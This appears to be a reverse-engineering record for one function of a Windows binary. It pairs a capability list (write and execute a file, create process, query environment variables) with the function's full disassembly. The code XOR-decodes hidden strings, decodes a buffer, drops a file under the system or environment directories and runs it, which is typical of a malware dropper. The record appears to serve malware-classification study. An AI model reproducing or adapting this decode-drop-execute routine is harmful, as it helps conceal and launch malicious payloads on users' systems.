Function at 0x2000034b0
Capabilities:
Create process on windows
Get common file path
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1098
call fcn.200014ce0
sub rsp, rax
xor eax, eax
mov rdi, rcx
mov rbp, r8
mov r12, rdx
lea rcx, [rsp + 0x891]
mov r8d, 0x7ff
xor edx, edx
mov byte [rsp + 0x88], 0
mov qword [rsp + 0x89], rax
mov qword [rsp + 0x91], rax
mov qword [rsp + 0x99], rax
mov qword [rsp + 0xa1], rax
mov dword [rsp + 0xa9], eax
mov word [rsp + 0xad], ax
mov byte [rsp + 0xaf], al
mov byte [rsp + 0x890], al
call fcn.20000d940
lea rcx, [rsp + 0x491]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x490], 0
call fcn.20000d940
lea rcx, [rsp + 0x141]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x140], 0
call fcn.20000d940
lea rcx, [rsp + 0x271]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x270], 0
call fcn.20000d940
xor eax, eax
lea r14, [rsp + 0x250]
lea r15, [rsp + 0x140]
mov rbx, rdi
sub r14, rdi
sub r15, rdi
mov r13d, eax
mov rsi, rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rbx
sub r14, 0x66
xor edx, edx
lea rcx, [rsp + 0xc1]
or rdi, 0xffffffffffffffff
lea r8d, [rdx + 0x7f]
call fcn.20000d940
xor eax, eax
lea rdx, [rsp + 0xc0]
mov rcx, rdi
mov rdi, rbx
repne scasb al, byte [rdi]
lea rdi, [0x200000000]
mov rax, qword [rdi + 0x17c68]
not rcx
mov qword [rdx], rax
movzx eax, word [rdi + 0x17c70]
dec rcx
mov word [rdx + 8], ax
movzx eax, byte [rdi + 0x17c72]
movsxd r10, ecx
mov byte [rdx + 0xa], al
xor edx, edx
mov r9d, edx
mov r11, rdx
test ecx, ecx
jle 0x200003674
mov rdi, rbx
mov r11, r10
nop dword [rax]
movzx r8d, byte [rdi]
mov eax, 0x66666667
imul r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub eax, ecx
cdqe
movzx ecx, byte [rsp + rax + 0xc0]
cmp r8b, cl
je 0x200003662
xor r8b, cl
mov byte [r15 + rdi], r8b
inc rdi
inc r9d
sub r10, 1
jne 0x200003630
xor edx, edx
or r8, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x140]
mov rcx, r8
mov byte [rsp + r11 + 0x140], 0
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
je 0x200003b44
mov rcx, rdx
movzx eax, byte [rsp + rcx + 0x140]
inc rcx
mov byte [rsp + rcx + 0x87], al
test al, al
jne 0x2000036a0
xor edx, edx
lea rcx, [rsp + 0xc1]
lea r8d, [rdx + 0x7f]
call fcn.20000d940
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdx, [rsp + 0xc0]
lea r11, [rbx + 0x66]
mov rdi, r11
repne scasb al, byte [rdi]
lea rdi, [0x200000000]
mov rax, qword [rdi + 0x17c68]
not rcx
mov qword [rdx], rax
movzx eax, word [rdi + 0x17c70]
dec rcx
mov word [rdx + 8], ax
movzx eax, byte [rdi + 0x17c72]
xor edi, edi
mov r8d, edi
mov r10, rdi
movsxd r9, ecx
mov byte [rdx + 0xa], al
test ecx, ecx
jle 0x200003764
mov r10, r9
nop
movzx edi, byte [r11]
mov eax, 0x66666667
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r8d
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub eax, ecx
cdqe
movzx ecx, byte [rsp + rax + 0xc0]
cmp dil, cl
je 0x200003752
xor dil, cl
mov byte [r14 + r11], dil
inc r11
inc r8d
sub r9, 1
jne 0x200003720
xor edi, edi
xor edx, edx
lea rcx, [rsp + 0xc1]
mov byte [rsp + r10 + 0x250], 0
lea r8d, [rdx + 0x7f]
call fcn.20000d940
lea rbx, [0x200000000]
lea rdx, [rsp + 0xc0]
mov rax, qword [rbx + 0x17c68]
mov r9d, edi
mov qword [rdx], rax
movzx eax, word [rbx + 0x17c70]
mov word [rdx + 8], ax
movzx eax, byte [rbx + 0x17c72]
mov byte [rdx + 0xa], al
movzx r8d, byte [rdi + rbx + 0x17eb0]
mov eax, 0x66666667
imul r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub eax, ecx
cdqe
movzx ecx, byte [rsp + rax + 0xc0]
cmp r8b, cl
je 0x2000037e8
xor r8b, cl
mov byte [rsp + rdi + 0x140], r8b
inc rdi
inc r9d
cmp rdi, 0x1d
jl 0x2000037b1
mov rbx, qword [rsp + 0x58]
lea r8, [rsp + 0x250]
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x890]
mov r9, r12
mov byte [rsp + rdi + 0x140], 0
mov qword [rsp + 0x20], rbp
call fcn.200007d18
lea r8, [rsp + 0x10f8]
lea rdx, [rsp + 0x890]
lea rcx, [rsp + 0x88]
xor edi, edi
mov dword [rsp + 0x10f8], edi
call fcn.200002de0
mov r12, rax
mov eax, dword [rsp + 0x10f8]
add eax, 0xfffffffc
cmp eax, 3
ja 0x200003b27
lea r8d, [rdi + 4]
mov rdx, r12
mov rcx, rbp
call fcn.200008000
mov rcx, r12
mov byte [rbp + 4], dil
call fcn.200007e88
mov r12, qword [rsp + 0x10e8]
xor r8d, r8d
mov rcx, r12
mov rdx, rbp
call fcn.2000018f0
lea r8d, [rdi + 0x7f]
lea rcx, [rsp + 0xc1]
xor edx, edx
call fcn.20000d940
lea rsi, [0x200000000]
lea rdx, [rsp + 0xc0]
mov rax, qword [rsi + 0x17c68]
mov r9d, edi
mov qword [rdx], rax
movzx eax, word [rsi + 0x17c70]
mov word [rdx + 8], ax
movzx eax, byte [rsi + 0x17c72]
mov byte [rdx + 0xa], al
nop
movzx r8d, byte [rdi + rsi + 0x17ed0]
mov eax, 0x66666667
imul r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub eax, ecx
cdqe
movzx ecx, byte [rsp + rax + 0xc0]
cmp r8b, cl
je 0x200003917
xor r8b, cl
mov byte [rsp + rdi + 0x140], r8b
inc rdi
inc r9d
cmp rdi, 0x1d
jl 0x2000038e0
mov rsi, qword [rsp + 0x50]
lea r8, [rsp + 0x250]
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x890]
mov r9, r12
mov byte [rsp + rdi + 0x140], 0
mov qword [rsp + 0x20], rbp
call fcn.200007d18
lea rcx, [rsp + 0x490]
mov edx, 0x400
call fcn.200003310
test eax, eax
je 0x200003a7f
xor edx, edx
lea rcx, [rsp + 0xc1]
lea r8d, [rdx + 0x7f]
call fcn.20000d940
lea rsi, [0x200000000]
lea rdx, [rsp + 0xc0]
mov rax, qword [rsi + 0x17c68]
mov qword [rdx], rax
movzx eax, word [rsi + 0x17c70]
mov word [rdx + 8], ax
movzx eax, byte [rsi + 0x17c72]
mov byte [rdx + 0xa], al
xor eax, eax
mov r9d, eax
mov rdi, rax
movzx r8d, byte [rdi + rsi + 0x17ef0]
mov eax, 0x66666667
imul r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub eax, ecx
cdqe
movzx ecx, byte [rsp + rax + 0xc0]
cmp r8b, cl
je 0x200003a00
xor cl, r8b
mov byte [rsp + rdi + 0x140], cl
jmp 0x200003a08
mov byte [rsp + rdi + 0x140], r8b
inc rdi
inc r9d
cmp rdi, 6
jl 0x2000039c0
mov rsi, qword [rsp + 0x50]
mov byte [rsp + rdi + 0x140], 0
or r8, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x890]
mov rcx, r8
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x140]
nop
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x200003a40
xor eax, eax
lea rdi, [rsp + 0x890]
mov rcx, r8
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x490]
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x200003a70
lea r8, [rsp + 0x10f8]
lea rdx, [rsp + 0x890]
lea rcx, [rsp + 0x88]
mov dword [rsp + 0x10f8], 0
call fcn.200002de0
mov r12, rax
mov eax, dword [rsp + 0x10f8]
cmp eax, 0x400
jbe 0x200003b27
mov ebx, dword [rax + r12 - 6]
mov rsi, rax
add eax, 0xfffffffa
cmp eax, ebx
jb 0x200003b1d
mov rcx, rbx
call fcn.200007ec8
mov rdi, rax
test rax, rax
je 0x200003b15
sub rsi, rbx
mov r8d, ebx
mov rcx, rax
lea rdx, [rsi + r12 - 6]
call fcn.2000010e0
mov rcx, r12
call fcn.200007e88
lea eax, [rbx + rbx*2]
add eax, eax
mov ecx, eax
mov dword [rsp + 0x10f8], eax
call fcn.200007ec8
mov rbp, rax
test rax, rax
jne 0x200003b7f
mov rcx, rdi
call fcn.200007e88
mov rbp, qword [rsp + 0x10f0]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x50]
or r8, 0xffffffffffffffff
test r12, r12
je 0x200003b3c
mov rcx, r12
call fcn.200007e88
or r8, 0xffffffffffffffff
mov r12, qword [rsp + 0x10e8]
inc rsi
add rbx, 0x20
sub r15, 0x20
sub r14, 0x20
cmp rsi, 3
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rbx
jl 0x2000035c3
mov ax, r8w
add rsp, 0x1098
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
call fcn.200007670
test eax, eax
js 0x200003e30
lea rdx, [rsp + 0x10f8]
mov r9d, ebx
mov r8, rdi
mov rcx, rbp
call fcn.2000075a0
test eax, eax
js 0x200003e30
mov rcx, rdi
call fcn.200007e88
mov ebx, dword [rsp + 0x10f8]
xor eax, eax
lea r9, [rsp + 0x70]
lea r8, [rsp + 0x60]
mov rcx, rbp
mov edx, ebx
mov r12, rbp
mov dword [rsp + 0x60], 0xff4cc3ff
mov dword [rsp + 0x64], 0xcc22ccfc
mov dword [rsp + 0x68], 0x32afaa
mov dword [rsp + 0x6c], 0x4d447c0a
mov qword [rsp + 0x71], rax
mov qword [rsp + 0x79], rax
call fcn.200004d70
mov esi, eax
test eax, eax
je 0x200003b15
lea rdx, str.vDBerA:A
lea rcx, [rsp + 0x140]
call section..text
lea rcx, [rsp + 0x140]
call fcn.200002ad0
lea rdx, [0x20001bec8]
lea rcx, [rsp + 0x140]
mov edi, eax
call section..text
lea rcx, [rsp + 0x140]
call fcn.200002ad0
test edi, edi
jne 0x200003cb1
test eax, eax
jne 0x200003cb9
lea rcx, [rsp + 0x140]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rdx, [0x200017f30]
lea rcx, [rsp + 0x270]
call section..text
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x140]
lea rdx, [rsp + 0x270]
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x200003ca0
jmp 0x200003cc6
test eax, eax
je 0x200003e5b
lea rcx, [rsp + 0x140]
call fcn.200002840
mov rdx, qword [rsp + 0x10e0]
lea rcx, [rbp + rsi]
mov r8d, 0x5a8
add rdx, 0xc8
call fcn.20000e2d0
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rsp + 0x140]
xor r8d, r8d
mov rdx, rbp
call fcn.200001dc0
test rax, rax
jne 0x200003e40
inc r13d
lea rcx, [rsp + 0x140]
cmp r13d, 1
jne 0x200003d24
call fcn.200002840
jmp 0x200003cf0
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor edx, edx
lea rcx, [rsp + 0xc1]
lea r8d, [rdx + 0x7f]
call fcn.20000d940
lea rbp, [0x200000000]
lea rdx, [rsp + 0xc0]
mov rax, qword [rbp + 0x17c68]
mov r9d, ebx
mov rdi, rbx
mov qword [rdx], rax
movzx eax, word [rbp + 0x17c70]
mov word [rdx + 8], ax
movzx eax, byte [rbp + 0x17c72]
mov byte [rdx + 0xa], al
nop word [rax + rax]
movzx r8d, byte [rdi + rbp + 0x17f40]
mov eax, 0x66666667
imul r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub eax, ecx
cdqe
movzx ecx, byte [rsp + rax + 0xc0]
cmp r8b, cl
je 0x200003dc0
xor cl, r8b
mov byte [rsp + rdi + 0x270], cl
jmp 0x200003dc8
mov byte [rsp + rdi + 0x270], r8b
inc rdi
inc r9d
cmp rdi, 0xc
jl 0x200003d80
mov byte [rsp + rdi + 0x270], bl
or r8, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x140]
mov rcx, r8
lea rdx, [rsp + 0x270]
repne scasb al, byte [rdi]
xor ecx, ecx
mov rbp, r12
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x200003e00
cmp r13d, 3
jle 0x200003cf0
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x10f0]
jmp 0x200003b2b
mov rcx, rdi
call fcn.200007e88
mov rcx, rbp
jmp 0x200003b10
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbp
call fcn.200007e88
mov ax, bx
jmp 0x200003b6b
lea rcx, [rsp + 0x271]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x270], 0
call fcn.20000d940
lea rdx, str._7__
lea rcx, [rsp + 0x140]
call section..text
lea rdx, [rsp + 0x380]
lea rcx, [rsp + 0x140]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea rdx, [0x200017eac]
lea rcx, [rsp + 0x380]
call fcn.200008388
mov rcx, rbp
mov rdi, rax
test rax, rax
jne 0x200003ed3
call fcn.200007e88
xor eax, eax
jmp 0x200003b6b
mov r8, rbx
mov r9, rax
mov edx, 1
call fcn.2000088b0
mov rcx, rdi
call fcn.200008c78
xor ebx, ebx
mov rdx, rbx
movzx eax, byte [rsp + rdx + 0x380]
inc rdx
mov byte [rsp + rdx + 0x26f], al
test al, al
jne 0x200003ef0
xor eax, eax
or rsi, 0xffffffffffffffff
lea rdi, [rsp + 0x380]
mov rcx, rsi
lea rdx, [0x200017f18]
repne scasb al, byte [rdi]
movzx eax, word [0x200017f14]
lea rcx, [rsp + 0x380]
mov word [rdi - 1], ax
call fcn.200008388
mov rdi, rax
test rax, rax
je 0x20000404e
mov rcx, qword [rsp + 0x10e0]
lea edx, [rsi + 2]
mov r9, rax
add rcx, 0xc8
mov r8d, 0x5a8
call fcn.2000088b0
mov rcx, rdi
call fcn.200008c78
lea r8d, [rsi + 0x69]
lea rcx, [rsp + 0xc0]
xor edx, edx
call fcn.20000d940
xor eax, eax
lea rdi, [rsp + 0x270]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rax
mov rcx, rsi
lea rdx, [0x200017f20]
mov dword [rsp + 0xc0], 0x68
repne scasb al, byte [rdi]
movzx eax, word [0x200017f1c]
lea rcx, [rsp + 0x140]
mov dword [rsp + 0xfc], 1
mov word [rsp + 0x100], bx
mov word [rdi - 1], ax
call section..text
xor eax, eax
lea rdi, [rsp + 0x270]
mov rcx, rsi
lea rdx, [rsp + 0x140]
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x200004000
lea rax, [rsp + 0x70]
lea rdx, [rsp + 0x270]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xc0]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, rbp
call fcn.200007e88
mov ax, bx
jmp 0x200003b6b